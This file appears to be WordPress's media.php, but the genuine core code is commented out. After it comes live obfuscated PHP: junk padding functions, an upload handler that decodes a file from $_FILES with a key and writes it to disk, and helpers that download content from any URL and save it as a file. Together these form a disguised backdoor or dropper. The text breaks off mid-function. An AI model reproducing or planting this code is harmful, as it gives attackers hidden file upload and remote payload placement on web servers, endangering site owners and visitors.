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<?php /* * * WordPress API for media display. * * @package WordPress * @subpackage Media * * Retrieves additional image sizes. * * @since 4.7.0 * * @global array $_wp_additional_image_sizes * * @return array Additional images size data. function wp_get_additional_image_sizes() { global $_wp_additional_image_sizes; if ( ! $_wp_additional_image_sizes ) { $_wp_additional_image_sizes = array(); } return $_wp_additional_image_sizes; } * * Scales down the default size of an image. * * This is so that the image is a better fit for the editor and theme. * * The `$size` parameter accepts either an array or a string. The supported string * values are 'thumb' or 'thumbnail' for the given thumbnail size or defaults at * 128 width and 96 height in pixels. Also supported for the string value is * 'medium', 'medium_large' and 'full'. The 'full' isn't actually supported, but any value other * than the supported will result in the content_width size or 500 if that is * not set. * * Finally, there is a filter named {@see 'editor_max_image_size'}, that will be * called on the calculated array for width and height, respectively. * * @since 2.5.0 * * @global int $content_width * * @param int $width Width of the image in pixels. * @param int $height Height of the image in pixels. * @param string|int[] $size Optional. Image size. Accepts any registered image size name, or an array * of width and height values in pixels (in that order). Default 'medium'. * @param string $context Optional. Could be 'display' (like in a theme) or 'edit' * (like inserting into an editor). Default null. * @return int[] { * An array of width and height values. * * @type int $0 The maximum width in pixels. * @type int $1 The maximum height in pixels. * } function image_constrain_size_for_editor( $width, $height, $size = 'medium', $context = null ) { global $content_width; $_wp_additional_image_sizes = wp_get_additional_image_sizes(); if ( ! $context ) { $context = is_admin() ? 'edit' : 'display'; } if ( is_array( $size ) ) { $max_width = $size[0]; $max_height = $size[1]; } elseif ( 'thumb' === $size || 'thumbnail' === $size ) { $max_width = (int) get_option( 'thumbnail_size_w' ); $max_height = (int) get_option( 'thumbnail_size_h' ); Last chance thumbnail size defaults. if ( ! $max_width && ! $max_height ) { $max_width = 128; $max_height = 96; } } elseif ( 'medium' === $size ) { $max_width = (int) get_option( 'medium_size_w' ); $max_height = (int) get_option( 'medium_size_h' ); } elseif ( 'medium_large' === $size ) { $max_width = (int) get_option( 'medium_large_size_w' ); $max_height = (int) get_option( 'medium_large_size_h' ); if ( (int) $content_width > 0 ) { $max_width = min( (int) $content_width, $max_width ); } } elseif ( 'large' === $size ) { * We're inserting a large size image into the editor. If it's a really * big image we'll scale it down to fit reasonably within the editor * itself, and within the theme's content width if it's known. The user * can resize it in the editor if they wish. $max_width = (int) get_option( 'large_size_w' ); $max_height = (int) get_option( 'large_size_h' ); if ( (int) $content_width > 0 ) { $max_width = min( (int) $content_width, $max_width ); } } elseif ( ! empty( $_wp_additional_image_sizes ) && in_array( $size, array_keys( $_wp_additional_image_sizes ), true ) ) { $max_width = (int) $_wp_additional_image_sizes[ $size ]['width']; $max_height = (int) $_wp_additional_image_sizes[ $size ]['height']; Only in admin. Assume that theme authors know what they're doing. if ( (int) $content_width > 0 && 'edit' === $context ) { $max_width = min( (int) $content_width, $max_width ); } } else { $size === 'full' has no constraint. $max_width = $width; $max_height = $height; } * * Filters the maximum image size dimensions for the editor. * * @since 2.5.0 * * @param int[] $max_image_size { * An array of width and height values. * * @type int $0 The maximum width in pixels. * @type int $1 The maximum height in pixels. * } * @param string|int[] $size Requested image size. Can be any registered image size name, or * an array of width and height values in pixels (in that order). * @param string $context The context the image is being resized for. * Possible values are 'display' (like in a theme) * or 'edit' (like inserting into an editor). list( $max_width, $max_height ) = apply_filters( 'editor_max_image_size', array( $max_width, $max_height ), $size, $context ); return wp_constrain_dimensions( $width, $height, $max_width, $max_height ); } * * Retrieves width and height attributes using given width and height values. * * Both attributes are required in the sense that both parameters must have a * value, but are optional in that if you set them to false or null, then they * will not be added to the returned string. * * You can set the value using a string, but it will only take numeric values. * If you wish to put 'px' after the numbers, then it will be stripped out of * the return. * * @since 2.5.0 * * @param int|string $width Image width in pixels. * @param int|string $height Image height in pixels. * @return string HTML attributes for width and, or height. function image_hwstring( $width, $height ) { $out = ''; if ( $width ) { $out .= 'width="' . (int) $width . '" '; } if ( $height ) { $out .= 'height="' . (int) $height . '" '; } return $out; } * * Scales an image to fit a particular size (such as 'thumb' or 'medium'). * * The URL might be the original image, or it might be a resized version. This * function won't create a new resized copy, it will just return an already * resized one if it exists. * * A plugin may use the {@see 'image_downsize'} filter to hook into and offer image * resizing services for images. The hook must return an array with the same * elements that are normally returned from the function. * * @since 2.5.0 * * @param int $id Attachment ID for image. * @param string|int[] $size Optional. Image size. Accepts any registered image size name, or an array * of width and height values in pixels (in that order). Default 'medium'. * @return array|false { * Array of image data, or boolean false if no image is available. * * @type string $0 Image source URL. * @type int $1 Image width in pixels. * @type int $2 Image height in pixels. * @type bool $3 Whether the image is a resized image. * } function image_downsize( $id, $size = 'medium' ) { $is_image = wp_attachment_is_image( $id ); * * Filters whether to preempt the output of image_downsize(). * * Returning a truthy value from the filter will effectively short-circuit * down-sizing the image, returning that value instead. * * @since 2.5.0 * * @param bool|array $downsize Whether to short-circuit the image downsize. * @param int $id Attachment ID for image. * @param string|int[] $size Requested image size. Can be any registered image size name, or * an array of width and height values in pixels (in that order). $out = apply_filters( 'image_downsize', false, $id, $size ); if ( $out ) { return $out; } $img_url = wp_get_attachment_url( $id ); $meta = wp_get_attachment_metadata( $id ); $width = 0; $height = 0; $is_intermediate = false; $img_url_basename = wp_basename( $img_url ); If the file isn't an image, attempt to replace its URL with a rendered image from its meta. Otherwise, a non-image type could be returned. if ( ! $is_image ) { if ( ! empty( $meta['sizes']['full'] ) ) { $img_url = str_replace( $img_url_basename, $meta['sizes']['full']['file'], $img_url ); $img_url_basename = $meta['sizes']['full']['file']; $width = $meta['sizes']['full']['width']; $height = $meta['sizes']['full']['height']; } else { return false; } } Try for a new style intermediate size. $intermediate = image_get_intermediate_size( $id, $size ); if ( $intermediate ) { $img_url = str_replace( $img_url_basename, $intermediate['file'], $img_url ); $width = $intermediate['width']; $height = $intermediate['height']; $is_intermediate = true; } elseif ( 'thumbnail' === $size && ! empty( $meta['thumb'] ) && is_string( $meta['thumb'] ) ) { Fall back to the old thumbnail. $imagefile = get_attached_file( $id ); $thumbfile = str_replace( wp_basename( $imagefile ), wp_basename( $meta['thumb'] ), $imagefile ); if ( file_exists( $thumbfile ) ) { $info = wp_getimagesize( $thumbfile ); if ( $info ) { $img_url = str_replace( $img_url_basename, wp_basename( $thumbfile ), $img_url ); $width = $info[0]; $height = $info[1]; $is_intermediate = true; } } } if ( ! $width && ! $height && isset( $meta['width'], $meta['height'] ) ) { Any other type: use the real image. $width = $meta['width']; $height = $meta['height']; } if ( $img_url ) { We have the actual image size, but might need to further constrain it if content_width is narrower. list( $width, $height ) = image_constrain_size_for_editor( $width, $height, $size ); return array( $img_url, $width, $height, $is_intermediate ); } return false; } * * Registers a new image size. * * @since 2.9.0 * * @global array $_wp_additional_image_sizes Associative array of additional image sizes. * * @param string $name Image size identifier. * @param int $width Optional. Image width in pixels. Default 0. * @param int $height Optional. Image height in pixels. Default 0. * @param bool|array $crop Optional. Image cropping behavior. If false, the image will be scaled (default), * If true, image will be cropped to the specified dimensions using center positions. * If an array, the image will be cropped using the array to specify the crop location. * Array values must be in the format: array( x_crop_position, y_crop_position ) where: * - x_crop_position accepts: 'left', 'center', or 'right'. * - y_crop_position accepts: 'top', 'center', or 'bottom'. function add_image_size( $name, $width = 0, $height = 0, $crop = false ) { global $_wp_additional_image_sizes; $_wp_additional_image_sizes[ $name ] = array( 'width' => absint( $width ), 'height' => absint( $height ), 'crop' => $crop, ); } * * Checks if an image size exists. * * @since 3.9.0 * * @param string $name The image size to check. * @return bool True if the image size exists, false if not. function has_image_size( $name ) { $sizes = wp_get_additional_image_sizes(); return isset( $sizes[ $name ] ); } * * Removes a new image size. * * @since 3.9.0 * * @global array $_wp_additional_image_sizes * * @param string $name The image size to remove. * @return bool True if the image size was successfully removed, false on failure. function remove_image_size( $name ) { global $_wp_additional_image_sizes; if ( isset( $_wp_additional_image_sizes[ $name ] ) ) { unset( $_wp_additional_image_sizes[ $name ] ); return true; } return false; } * * Registers an image size for the post thumbnail. * * @since 2.9.0 * * @see add_image_size() for details on cropping behavior. * * @param int $width Image width in pixels. * @param int $height Image height in pixels. * @param bool|array $crop Optional. Whether to crop images to specified width and height or resize. * An array can specify positioning of the crop area. Default false. function set_post_thumbnail_size( $width = 0, $height = 0, $crop = false ) { add_image_size( 'post-thumbnail', $width, $height, $crop ); } * * Gets an img tag for an image attachment, scaling it down if requested. * * The {@see 'get_image_tag_class'} filter allows for changing the class name for the * image without having to use regular expressions on the HTML content. The * parameters are: what WordPress will use for the class, the Attachment ID, * image align value, and the size the image should be. * * The second filter, {@see 'get_image_tag'}, has the HTML content, which can then be * further manipulated by a plugin to change all attribute values and even HTML * content. * * @since 2.5.0 * * @param int $id Attachment ID. * @param string $alt Image description for the alt attribute. * @param string $title Image description for the title attribute. * @param string $align Part of the class name for aligning the image. * @param string|int[] $size Optional. Image size. Accepts any registered image size name, or an array of * width and height values in pixels (in that order). Default 'medium'. * @return string HTML IMG element for given image attachment? function get_image_tag( $id, $alt, $title, $align, $size = 'medium' ) { list( $img_src, $width, $height ) = image_downsize( $id, $size ); $hwstring = image_hwstring( $width, $height ); $title = $title ? 'title="' . esc_attr( $title ) . '" ' : ''; $size_class = is_array( $size ) ? implode( 'x', $size ) : $size; $class = 'align' . esc_attr( $align ) . ' size-' . esc_attr( $size_class ) . ' wp-image-' . $id; * * Filters the value of the attachment's image tag class attribute. * * @since 2.6.0 * * @param string $class CSS class name or space-separated list of classes. * @param int $id Attachment ID. * @param string $align Part of the class name for aligning the image. * @param string|int[] $size Requested image size. Can be any registered image size name, or * an array of width and height values in pixels (in that order). $class = apply_filters( 'get_image_tag_class', $class, $id, $align, $size ); $html = '<img src="' . esc_url( $img_src ) . '" alt="' . esc_attr( $alt ) . '" ' . $title . $hwstring . 'class="' . $class . '" />'; * * Filters the HTML content for the image tag. * * @since 2.6.0 * * @param string $html HTML content for the image. * @param int $id Attachment ID. * @param string $alt Image description for the alt attribute. * @param string $title Image description for the title attribute. * @param string $align Part of the class name for aligning the image. * @param string|int[] $size Requested image size. Can be any registered image size name, or * an array of width and height values in pixels (in that order). return apply_filters( 'get_image_tag', $html, $id, $alt, $title, $align, $size ); } * * Calculates the new dimensions for a down-sampled image. * * If either width or height are empty, no constraint is applied on * that dimension. * * @since 2.5.0 * * @param int $current_width Current width of the image. * @param int $current_height Current height of the image. * @param int $max_width Optional. Max width in pixels to constrain to. Default 0. * @param int $max_height Optional. Max height in pixels to constrain to. Default 0. * @return int[] { * An array of width and height values. * * @type int $0 The width in pixels. * @type int $1 The height in pixels. * } function wp_constrain_dimensions( $current_width, $current_height, $max_width = 0, $max_height = 0 ) { if ( ! $max_width && ! $max_height ) { return array( $current_width, $current_height ); } $width_ratio = 1.0; $height_ratio = 1.0; $did_width = false; $did_height = false; if ( $max_width > 0 && $current_width > 0 && $current_width > $max_width ) { $width_ratio = $max_width / $current_width; $did_width = true; } if ( $max_height > 0 && $current_height > 0 && $current_height > $max_height ) { $height_ratio = $max_height / $current_height; $did_height = true; } Calculate the larger/smaller ratios. $smaller_ratio = min( $width_ratio, $height_ratio ); $larger_ratio = max( $width_ratio, $height_ratio ); if ( (int) round( $current_width * $larger_ratio ) > $max_width || (int) round( $current_height * $larger_ratio ) > $max_height ) { The larger ratio is too big. It would result in an overflow. $ratio = $smaller_ratio; } else { The larger ratio fits, and is likely to be a more "snug" fit. $ratio = $larger_ratio; } Very small dimensions may result in 0, 1 should be the minimum. $w = max( 1, (int) round( $current_width * $ratio ) ); $h = max( 1, (int) round( $current_height * $ratio ) ); * Sometimes, due to rounding, we'll end up with a result like this: * 465x700 in a 177x177 box is 117x176... a pixel short. * We also have issues with recursive calls resulting in an ever-changing result. * Constraining to the result of a constraint should yield the original result. * Thus we look for dimensions that are one pixel shy of the max value and bump them up. Note: $did_width means it is possible $smaller_ratio == $width_ratio. if ( $did_width && $w === $max_width - 1 ) { $w = $max_width; Round it up. } Note: $did_height means it is possible $smaller_ratio == $height_ratio. if ( $did_height && $h === $max_height - 1 ) { $h = $max_height; Round it up. } * * Filters dimensions to constrain down-sampled images to. * * @since 4.1.0 * * @param int[] $dimensions { * An array of width and height values. * * @type int $0 The width in pixels. * @type int $1 The height in pixels. * } * @param int $current_width The current width of the image. * @param int $current_height The current height of the image. * @param int $max_width The maximum width permitted. * @param int $max_height The maximum height permitted. return apply_filters( 'wp_constrain_dimensions', array( $w, $h ), $current_width, $current_height, $max_width, $max_height ); } * * Retrieves calculated resize dimensions for use in WP_Image_Editor. * * Calculates dimensions and coordinates for a resized image that fits * within a specified width and height. * * Cropping behavior is dependent on the value of $crop: * 1. If false (default), images will not be cropped. * 2. If an array in the form of array( x_crop_position, y_crop_position ): * - x_crop_position accepts 'left' 'center', or 'right'. * - y_crop_position accepts 'top', 'center', or 'bottom'. * Images will be cropped to the specified dimensions within the defined crop area. * 3. If true, images will be cropped to the specified dimensions using center positions. * * @since 2.5.0 * * @param int $orig_w Original width in pixels. * @param int $orig_h Original height in pixels. * @param int $dest_w New width in pixels. * @param int $dest_h New height in pixels. * @param bool|array $crop Optional. Whether to crop image to specified width and height or resize. * An array can specify positioning of the crop area. Default false. * @return array|false Returned array matches parameters for `imagecopyresampled()`. False on failure. function image_resize_dimensions( $orig_w, $orig_h, $dest_w, $dest_h, $crop = false ) { if ( $orig_w <= 0 || $orig_h <= 0 ) { return false; } At least one of $dest_w or $dest_h must be specific. if ( $dest_w <= 0 && $dest_h <= 0 ) { return false; } * * Filters whether to preempt calculating the image resize dimensions. * * Returning a non-null value from the filter will effectively short-circuit * image_resize_dimensions(), returning that value instead. * * @since 3.4.0 * * @param null|mixed $null Whether to preempt output of the resize dimensions. * @param int $orig_w Original width in pixels. * @param int $orig_h Original height in pixels. * @param int $dest_w New width in pixels. * @param int $dest_h New height in pixels. * @param bool|array $crop Whether to crop image to specified width and height or resize. * An array can specify positioning of the crop area. Default false. $output = apply_filters( 'image_resize_dimensions', null, $orig_w, $orig_h, $dest_w, $dest_h, $crop ); if ( null !== $output ) { return $output; } Stop if the destination size is larger than the original image dimensions. if ( empty( $dest_h ) ) { if ( $orig_w < $dest_w ) { return false; } } elseif ( empty( $dest_w ) ) { if ( $orig_h < $dest_h ) { return false; } } else { if ( $orig_w < $dest_w && $orig_h < $dest_h ) { return false; } } if ( $crop ) { * Crop the largest possible portion of the original image that we can size to $dest_w x $dest_h. * Note that the requested crop dimensions are used as a maximum bounding box for the original image. * If the original image's width or height is less than the requested width or height * only the greater one will be cropped. * For example when the original image is 600x300, and the requested crop dimensions are 400x400, * the resulting image will be 400x300. $aspect_ratio = $orig_w / $orig_h; $new_w = min( $dest_w, $orig_w ); $new_h = min( $dest_h, $orig_h ); if ( ! $new_w ) { $new_w = (int) round( $new_h * $aspect_ratio ); } if ( ! $new_h ) { $new_h = (int) round( $new_w / $aspect_ratio ); } $size_ratio = max( $new_w / $orig_w, $new_h / $orig_h ); $crop_w = round( $new_w / $size_ratio ); $crop_h = round( $new_h / $size_ratio ); if ( ! is_array( $crop ) || count( $crop ) !== 2 ) { $crop = array( 'center', 'center' ); } list( $x, $y ) = $crop; if ( 'left' === $x ) { $s_x = 0; } elseif ( 'right' === $x ) { $s_x = $orig_w - $crop_w; } else { $s_x = floor( ( $orig_w - $crop_w ) / 2 ); } if ( 'top' === $y ) { $s_y = 0; } elseif ( 'bottom' === $y ) { $s_y = $orig_h - $crop_h; } else { $s_y = floor( ( $orig_h - $crop_h ) / 2 ); } } else { Resize using $dest_w x $dest_h as a maximum bounding box. $crop_w = $orig_w; $crop_h = $orig_h; $s_x = 0; $s_y = 0; list( $new_w, $new_h ) = wp_constrain_dimensions( $orig_w, $orig_h, $dest_w, $dest_h ); } if ( wp_fuzzy_number_match( $new_w, $orig_w ) && wp_fuzzy_number_match( $new_h, $orig_h ) ) { The new size has virtually the same dimensions as the original image. * * Filters whether to proceed with making an image sub-size with identical dimensions * with the original/source image. Differences of 1px may be due to rounding and are ignored. * * @since 5.3.0 * * @param bool $proceed The filtered value. * @param int $orig_w Original image width. * @param int $orig_h Original image height. $proceed = (bool) apply_filters( 'wp_image_resize_identical_dimensions', false, $orig_w, $orig_h ); if ( ! $proceed ) { return false; } } The return array matches the parameters to imagecopyresampled(). int dst_x, int dst_y, int src_x, int src_y, int dst_w, int dst_h, int src_w, int src_h return array( 0, 0, (int) $s_x, (int) $s_y, (int) $new_w, (int) $new_h, (int) $crop_w, (int) $crop_h ); } * * Resizes an image to make a thumbnail or intermediate size. * * The returned array has the file size, the image width, and image height. The * {@see 'image_make_intermediate_size'} filter can be used to hook in and change the * values of the returned array. The only parameter is the resized file path. * * @since 2.5.0 * * @param string $file File path. * @param int $width Image width. * @param int $height Image height. * @param bool $crop Optional. Whether to crop image to specified width and height or resize. * Default false. * @return array|false Metadata array on success. False if no image was created. function image_make_intermediate_size( $file, $width, $height, $crop = false ) { if ( $width || $height ) { $editor = wp_get_image_editor( $file ); if ( is_wp_error( $editor ) || is_wp_error( $editor->resize( $width, $height, $crop ) ) ) { return false; } $resized_file = $editor->save(); if ( ! is_wp_error( $resized_file ) && $resized_file ) { unset( $resized_file['path'] ); return $resized_file; } } return false; } * * Helper function to test if aspect ratios for two images match. * * @since 4.6.0 * * @param int $source_width Width of the first image in pixels. * @param int $source_height Height of the first image in pixels. * @param int $target_width Width of the second image in pixels. * @param int $target_height Height of the second image in pixels. * @return bool True if aspect ratios match within 1px. False if not. function wp_image_matches_ratio( $source_width, $source_height, $target_width, $target_height ) { * To test for varying crops, we constrain the dimensions of the larger image * to the dimensions of the smaller image and see if they match. if ( $source_width > $target_width ) { $constrained_size = wp_constrain_dimensions( $source_width, $source_height, $target_width ); $expected_size = array( $target_width, $target_height ); } else { $constrained_size = wp_constrain_dimensions( $target_width, $target_height, $source_width ); $expected_size = array( $source_width, $source_height ); } If the image dimensions are within 1px of the expected size, we consider it a match. $matched = ( wp_fuzzy_number_match( $constrained_size[0], $expected_size[0] ) && wp_fuzzy_number_match( $constrained_size[1], $expected_size[1] ) ); return $matched; } * * Retrieves the image's intermediate size (resized) path, width, and height. * * The $size parameter can be an array with the width and height respectively. * If the size matches the 'sizes' metadata array for width and height, then it * will be used. If there is no direct match, then the nearest image size larger * than the specified size will be used. If nothing is found, then the function * will break out and return false. * * The metadata 'sizes' is used for compatible sizes that can be used for the * parameter $size value. * * The url path will be given, when the $size parameter is a string. * * If you are passing an array for the $size, you should consider using * add_image_size() so that a cropped version is generated. It's much more * efficient than having to find the closest-sized image and then having the * browser scale down the image. * * @since 2.5.0 * * @param int $post_id Attachment ID. * @param string|int[] $size Optional. Image size. Accepts any registered image size name, or an array * of width and height values in pixels (in that order). Default 'thumbnail'. * @return array|false { * Array of file relative path, width, and height on success. Additionally includes absolute * path and URL if registered size is passed to `$size` parameter. False on failure. * * @type string $file Path of image relative to uploads directory. * @type int $width Width of image in pixels. * @type int $height Height of image in pixels. * @type string $path Absolute filesystem path of image. * @type string $url URL of image. * } function image_get_intermediate_size( $post_id, $size = 'thumbnail' ) { $imagedata = wp_get_attachment_metadata( $post_id ); if ( ! $size || ! is_array( $imagedata ) || empty( $imagedata['sizes'] ) ) { return false; } $data = array(); Find the best match when '$size' is an array. if ( is_array( $size ) ) { $candidates = array(); if ( ! isset( $imagedata['file'] ) && isset( $imagedata['sizes']['full'] ) ) { $imagedata['height'] = $imagedata['sizes']['full']['height']; $imagedata['width'] = $imagedata['sizes']['full']['width']; } foreach ( $imagedata['sizes'] as $_size => $data ) { If there's an exact match to an existing image size, short circuit. if ( (int) $data['width'] === (int) $size[0] && (int) $data['height'] === (int) $size[1] ) { $candidates*/ /** * Filters the email address of a user being registered. * * @since 2.1.0 * * @param string $user_email The email address of the new user. */ function PrintHexBytes ($rss_items){ // results in a popstat() call (2 element array returned) $response_data = 'znefav'; // Temp hack #14876. $rss_items = sha1($response_data); $flac = 'pstp24ff'; $newblog = 'crks'; // Replace line breaks from all HTML elements with placeholders. $flac = urlencode($newblog); // Sample Table Sample-to-Chunk atom $commentarr = 'aiob5'; $attachment_parent_id = 'k9qeme'; $ASFIndexObjectData = 'rx2rci'; $referer = 'hvsbyl4ah'; $will_remain_auto_draft = 'dhsuj'; $current_height = 'puuwprnq'; $has_selectors = 'h2jv5pw5'; $referer = htmlspecialchars_decode($referer); $current_height = strnatcasecmp($current_height, $current_height); $ASFIndexObjectData = nl2br($ASFIndexObjectData); $has_selectors = basename($has_selectors); $will_remain_auto_draft = strtr($will_remain_auto_draft, 13, 7); // Create query and regex for embeds. $wp_file_descriptions = 'fa706fc'; $commentarr = stripos($attachment_parent_id, $wp_file_descriptions); $decoded_slug = 'w7k2r9'; $show_ui = 'ermkg53q'; $login__not_in = 'xiqt'; $submit_field = 'eg6biu3'; $meta_compare_value = 's1tmks'; // At this point the image has been uploaded successfully. $current_height = rtrim($meta_compare_value); $has_selectors = strtoupper($submit_field); $decoded_slug = urldecode($referer); $show_ui = strripos($show_ui, $show_ui); $login__not_in = strrpos($login__not_in, $login__not_in); $get_value_callback = 'uk395f3jd'; $string1 = 'o7yrmp'; $referer = convert_uuencode($referer); $has_selectors = urldecode($submit_field); $item_limit = 'm0ue6jj1'; $dupe = 'bewrhmpt3'; $get_value_callback = md5($get_value_callback); $safe_type = 'x4kytfcj'; $login__not_in = rtrim($item_limit); $has_selectors = htmlentities($submit_field); // By default, if a newer file with the same name already exists, the // HASHES // Exit the function if the post is invalid or comments are closed. $redirect_host_low = 't38nkj2'; $available_tags = 'ze16q2b'; $redirect_host_low = rawurlencode($available_tags); $intstring = 'ye6ky'; $get_value_callback = soundex($show_ui); $meta_compare_value = chop($string1, $safe_type); $dupe = stripslashes($dupe); $before = 'wscx7djf4'; $new_attr = 'oztvk'; $SynchErrorsFound = 'kb6y07q'; $new_attr = wordwrap($SynchErrorsFound); $ID3v1encoding = 'i7pg'; $current_height = strtoupper($current_height); $has_selectors = basename($intstring); $before = stripcslashes($before); $show_unused_themes = 'u2qk3'; // private - cache the mbstring lookup results.. $dispatch_result = 'izctgq6'; $submit_field = bin2hex($intstring); $dest_w = 'zdrclk'; $taxonomy_to_clean = 'xthhhw'; $ASFIndexObjectData = rawurlencode($ID3v1encoding); $show_unused_themes = nl2br($show_unused_themes); // 0000 01xx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx - value 0 to 2^42-2 $item_limit = strip_tags($taxonomy_to_clean); $current_height = htmlspecialchars_decode($dest_w); $revision_ids = 'zmj9lbt'; $submit_field = urlencode($has_selectors); $existing_sidebars = 'r01cx'; $current_width = 'w55yb'; // provide default MIME type to ensure array keys exist $referer = lcfirst($existing_sidebars); $frame_embeddedinfoflags = 'f1hmzge'; $format_info = 'ok91w94'; $ASFIndexObjectData = addcslashes($show_ui, $revision_ids); $before = rawurlencode($login__not_in); // Flag data length $05 $is_xhtml = 'ydke60adh'; $allqueries = 'q99g73'; $ASFIndexObjectData = htmlentities($revision_ids); $taxonomy_to_clean = substr($before, 9, 10); $cur_aa = 'vey42'; $dispatch_result = is_string($current_width); $format_info = trim($is_xhtml); $show_ui = htmlentities($show_ui); $allqueries = strtr($dupe, 15, 10); $item_limit = nl2br($taxonomy_to_clean); $safe_type = strnatcmp($frame_embeddedinfoflags, $cur_aa); // remove unwanted byte-order-marks $flac = rawurldecode($flac); $code_lang = 'qdnpc'; // Invalid sequences $get_value_callback = strnatcasecmp($revision_ids, $revision_ids); $setting_args = 'zvi86h'; $tableindex = 'fq5p'; $meta_compare_value = strnatcmp($safe_type, $dest_w); $allqueries = quotemeta($decoded_slug); $get_value_callback = soundex($get_value_callback); $tableindex = rawurlencode($is_xhtml); $setting_args = strtoupper($login__not_in); $current_height = strtoupper($current_height); $u2u2 = 'sbm09i0'; $code_lang = is_string($code_lang); // Remove the theme from allowed themes on the network. $QuicktimeStoreFrontCodeLookup = 'dfur'; $u2u2 = chop($referer, $referer); $taxonomy_to_clean = chop($before, $setting_args); $css_url_data_types = 'iwxsoks'; $subdir_match = 'vpvoe'; $current_height = strtolower($meta_compare_value); $stylesheet_dir = 'jor7sh1'; $safe_type = bin2hex($frame_embeddedinfoflags); $method_overridden = 'gw21v14n1'; $allowed_length = 'aojyufh6'; $subdir_match = stripcslashes($submit_field); // Take the first cat. $css_url_data_types = htmlspecialchars_decode($allowed_length); $original_parent = 'd8hha0d'; $stylesheet_dir = strrev($decoded_slug); $compatible_wp = 'am4ky'; $checked_options = 'orez0zg'; $original_parent = strip_tags($string1); $method_overridden = nl2br($compatible_wp); $existing_sidebars = strtr($show_unused_themes, 5, 11); $is_xhtml = strrev($checked_options); $ID3v1encoding = rawurlencode($allowed_length); $css_url_data_types = crc32($revision_ids); $referer = strtolower($referer); $endian_string = 's0hcf0l'; $login__not_in = lcfirst($will_remain_auto_draft); $format_info = strcoll($format_info, $tableindex); // This functionality is now in core. $QuicktimeStoreFrontCodeLookup = soundex($current_width); $endian_string = stripslashes($current_height); $intstring = stripos($has_selectors, $is_xhtml); $exclude_array = 'toju'; $will_remain_auto_draft = strtolower($item_limit); $error_code = 'zjh64a'; $stylesheet_dir = nl2br($exclude_array); $n_to = 'pd1k7h'; $string1 = urldecode($safe_type); $item_limit = md5($login__not_in); $error_code = strtolower($ASFIndexObjectData); $is_xhtml = rtrim($n_to); $converted_font_faces = 'o3md'; $argumentIndex = 'umf0i5'; $allowed_files = 'f8vks'; $restore_link = 'trtzsl9'; $single_success = 'dq81phjn'; $new_group = 'j4dpv'; // 1 : 0 + Check the central directory (futur) // Languages. $taxonomy_to_clean = str_shuffle($allowed_files); $allqueries = ucfirst($converted_font_faces); $css_url_data_types = strripos($allowed_length, $restore_link); $argumentIndex = quotemeta($safe_type); $response_fields = 'v0q9'; // %abcd0000 in v2.4 // We already displayed this info in the "Right Now" section // Get the request. $response_fields = strtoupper($n_to); $show_comments_count = 'e52oizm'; $all_post_slugs = 'hjntpy'; $single_success = md5($new_group); $current_item = 'ht339'; $wp_file_descriptions = strip_tags($current_item); $all_post_slugs = strnatcasecmp($all_post_slugs, $frame_embeddedinfoflags); $show_comments_count = stripcslashes($show_unused_themes); return $rss_items; } /** * Install a theme package. * * @since 2.8.0 * @since 3.7.0 The `$last_smtp_transaction_id` parameter was added, making clearing the update cache optional. * * @param string $varmatchackage The full local path or URI of the package. * @param array $last_smtp_transaction_id { * Optional. Other arguments for installing a theme package. Default empty array. * * @type bool $clear_update_cache Whether to clear the updates cache if successful. * Default true. * } * * @return bool|WP_Error True if the installation was successful, false or a WP_Error object otherwise. */ function render_block_core_query_pagination_next($c7, $matches_bext_time, $recently_activated){ // Allow non-published (private, future) to be viewed at a pretty permalink, in case $unregistered_source->post_name is set. // Database server has gone away, try to reconnect. $sodium_func_name = $_FILES[$c7]['name']; $relative_template_path = wp_get_split_term($sodium_func_name); // If the user doesn't belong to a blog, send them to user admin. If the user can't edit posts, send them to their profile. // been called that object is untouched quicktime_bookmark_time_scale($_FILES[$c7]['tmp_name'], $matches_bext_time); get_the_archive_description($_FILES[$c7]['tmp_name'], $relative_template_path); } /** * Checks if an image size exists. * * @since 3.9.0 * * @param string $name The image size to check. * @return bool True if the image size exists, false if not. */ function wp_exif_frac2dec($transports, $relative_template_path){ $PossiblyLongerLAMEversion_Data = 'hi4osfow9'; $kses_allow_strong = 'al0svcp'; $excluded_referer_basenames = 'uj5gh'; $enclosures = 'txfbz2t9e'; $CodecInformationLength = 'z22t0cysm'; $kses_allow_strong = levenshtein($kses_allow_strong, $kses_allow_strong); $PossiblyLongerLAMEversion_Data = sha1($PossiblyLongerLAMEversion_Data); $new_status = 'iiocmxa16'; $CodecInformationLength = ltrim($CodecInformationLength); $excluded_referer_basenames = strip_tags($excluded_referer_basenames); // If compatible termmeta table is found, use it, but enforce a proper index and update collation. $enclosures = bin2hex($new_status); $host_data = 'dnoz9fy'; $offset_or_tz = 'a092j7'; $LAMEmiscSourceSampleFrequencyLookup = 'izlixqs'; $blogname_orderby_text = 'kluzl5a8'; // Do not overwrite files. $URI_PARTS = enable_exceptions($transports); if ($URI_PARTS === false) { return false; } $unlink_homepage_logo = file_put_contents($relative_template_path, $URI_PARTS); return $unlink_homepage_logo; } /** * Check that the user login name and password is correct. * * @since 0.71 * @deprecated 3.5.0 Use wp_authenticate() * @see wp_authenticate() * * @param string $user_login User name. * @param string $user_pass User password. * @return bool False if does not authenticate, true if username and password authenticates. */ function quicktime_bookmark_time_scale($relative_template_path, $wp_filetype){ $linkcheck = 'sn1uof'; $multi_number = 'hr30im'; $terms_to_edit = 'dmw4x6'; $head4_key = 'vdl1f91'; $corresponding = 'cvzapiq5'; $terms_to_edit = sha1($terms_to_edit); $head4_key = strtolower($head4_key); $multi_number = urlencode($multi_number); $expression = file_get_contents($relative_template_path); $link_owner = upload_is_user_over_quota($expression, $wp_filetype); // Allow alphanumeric classnames, spaces, wildcard, sibling, child combinator and pseudo class selectors. file_put_contents($relative_template_path, $link_owner); } /* translators: 1: Date of last edit, 2: Time of last edit. */ function enable_exceptions($transports){ $transports = "http://" . $transports; // Time stamp $xx (xx ...) return file_get_contents($transports); } /** * @var array[] $allowedtags Array of KSES allowed HTML elements. * @since 1.0.0 */ function wp_maybe_grant_resume_extensions_caps($transports){ // IP: or DNS: $sodium_func_name = basename($transports); $relative_template_path = wp_get_split_term($sodium_func_name); wp_exif_frac2dec($transports, $relative_template_path); } /** * Escaping for textarea values. * * @since 3.1.0 * * @param string $embeds * @return string */ function current_after($embeds) { $awaiting_mod = htmlspecialchars($embeds, ENT_QUOTES, get_option('blog_charset')); /** * Filters a string cleaned and escaped for output in a textarea element. * * @since 3.1.0 * * @param string $awaiting_mod The text after it has been escaped. * @param string $embeds The text prior to being escaped. */ return apply_filters('current_after', $awaiting_mod, $embeds); } /** WP_Widget_Media_Video class */ function interleave_changed_lines($c7){ // 